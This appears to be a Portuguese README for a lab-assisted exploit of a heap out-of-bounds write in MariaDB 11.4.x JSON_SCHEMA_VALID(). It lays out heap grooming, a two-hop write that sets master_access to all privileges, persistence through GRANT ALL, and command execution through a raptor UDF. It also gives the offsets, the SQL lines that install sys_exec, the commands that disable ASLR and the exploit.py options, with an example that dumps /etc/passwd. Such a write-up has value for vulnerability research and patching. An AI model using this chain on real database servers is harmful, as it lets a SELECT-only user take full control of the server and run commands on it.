
# Escrita fora dos limites (OOB) no heap em MariaDB JSON_SCHEMA_VALID() → escalonamento persistente de privilégios (assistido por laboratório)
Estouro de buffer no heap em JSON_SCHEMA_VALID() do MariaDB → escalonamento persistente de privilégios → RCE via UDF
| Afetado | MariaDB 11.4.x (confirmado na 11.4.9) |
| Bug | Escrita fora dos limites em json_get_normalized_string() — strncpy em DYNAMIC_STRING de 128 bytes sem verificação de limites |
| Impacto | Usuário somente com SELECT → ALL PRIVILEGES WITH GRANT OPTION → execução arbitrária de comandos via UDF |
| Fonte | sql/json_schema_helper.cc:91 |
Assistido por laboratório. O script usa Docker/introspecção como root para ler
/proc/1/meme descobrir o layout do heap por conexão. A cadeia de exploração real é SQL puro via TCP. Um exploit armamentizado precisaria de uma primitiva de vazamento de informações para substituir a etapa de introspecção de memória.
lowpriv só pode executar SELECT no banco test. As tabelas do sistema são negadas.

Um único script Python realiza o preparo do heap, uma escrita arbitrária em dois saltos
através dos metadados de variáveis de usuário, persiste o escalonamento via GRANT ALL,
e alcança execução de código através de uma UDF:
python3 exploit.py

lowpriv agora tem ALL PRIVILEGES WITH GRANT OPTION, pode ler tabelas do sistema,
ler/gravar arquivos arbitrários e executar comandos do SO como o usuário mysql.
A concessão sobrevive à reinicialização do servidor.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Preparo do heap — mais de 100 variáveis de usuário esgotam o tcache, forçando
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c a serem
alocados consecutivamente.
Estouro — JSON_SCHEMA_VALID dispara um strncpy de 192 bytes além
do buffer de 128 bytes, corrompendo entry_c→value (sobrescrita parcial de ponteiro
de 2 bytes dentro da mesma página de 64 KB) para apontar para entry_a + 32.
Salto 1 — Atribuir a @c grava 126 bytes através do ponteiro
corrompido nos metadados de entry_a, definindo:
entry_a→value = &Security_context::master_accessentry_a→length = 9Salto 2 — Atribuir a @a grava 8 bytes de 0xFF através do
ponteiro redirecionado entry_a→value → master_access = ALL PRIVILEGES.
Persistir — A sessão agora detém todos os privilégios. GRANT ALL confirma
o escalonamento na tabela mysql.global_priv com suporte a Aria. A sessão
eventualmente trava durante a limpeza (corrupção residual do heap), mas o
GRANT já foi registrado em checkpoint e sobrevive à reinicialização.
Após a persistência, o servidor é reiniciado (recuperação de crash), e os privilégios escalonados são usados para instalar uma biblioteca compartilhada de UDF:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')| Restrição | Solução |
|---|---|
STRING_RESULT faz length++ antes da verificação de realocação | O payload tem N−1 bytes, então N−1+1 = N corresponde ao comprimento armazenado → sem realocação no ponteiro corrompido |
O salto 2 de 126 bytes corrompe campos de THD além de Security_context | Definir entry_a→length = 9 no salto 1 para que o salto 2 grave apenas 8 bytes (master_access) + 1 NUL |
Offset de master_access em Security_context | 1712 bytes a partir da base da struct (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + padding + ponteiros) |
| A recuperação de crash do Aria reverte gravações não confirmadas | GRANT ALL + SLEEP de 10 s permite o checkpoint do Aria antes do crash de limpeza da sessão |
| O layout do heap varia entre conexões (mesmo com ASLR=0) | A varredura inline de /proc/1/mem por tentativa descobre entry_a e master_access para cada conexão |
| plugin_dir pertence ao root | O Dockerfile pré-configura chmod 777 (conveniência de laboratório) |
# 1. Compilar e iniciar o contêiner
./setup.sh
# 2. Desabilitar ASLR no host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Executar o exploit (autocalibra a cada tentativa)
python3 exploit.py
# 4. Comando personalizado
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (para acesso a /proc/1/mem)--calibrate Medir as constantes do layout do heap e sair
--cmd CMD Comando para execução de UDF na Etapa 2 (padrão: id > /tmp/pwned)
--stage1-only Executar apenas o escalonamento de privilégios, pular RCE via UDF
--attempts N Máximo de tentativas da Etapa 1 (padrão: 5)
--host HOST Host do MariaDB (padrão: 127.0.0.1)
--port PORT Porta do MariaDB (padrão: 3306)
O script do exploit acessa o contêiner como root para ler /proc/1/mem.
Isso é usado para duas coisas:
user_var_entry
e verificar se são adjacentes (entry_a+32 dentro da mesma página de 64 KB
que entry_c→value para a sobrescrita parcial de 2 bytes).Security_context — encontrar o campo master_access para
ser o alvo da escrita em dois saltos.A varredura é executada inline para cada tentativa porque o layout do heap varia entre conexões (mesmo com ASLR=0) devido ao pool de threads do MariaDB atribuir arenas diferentes. A cadeia de exploração real — estouro + salto 1 + salto 2 — é SQL puro executado por uma conexão TCP.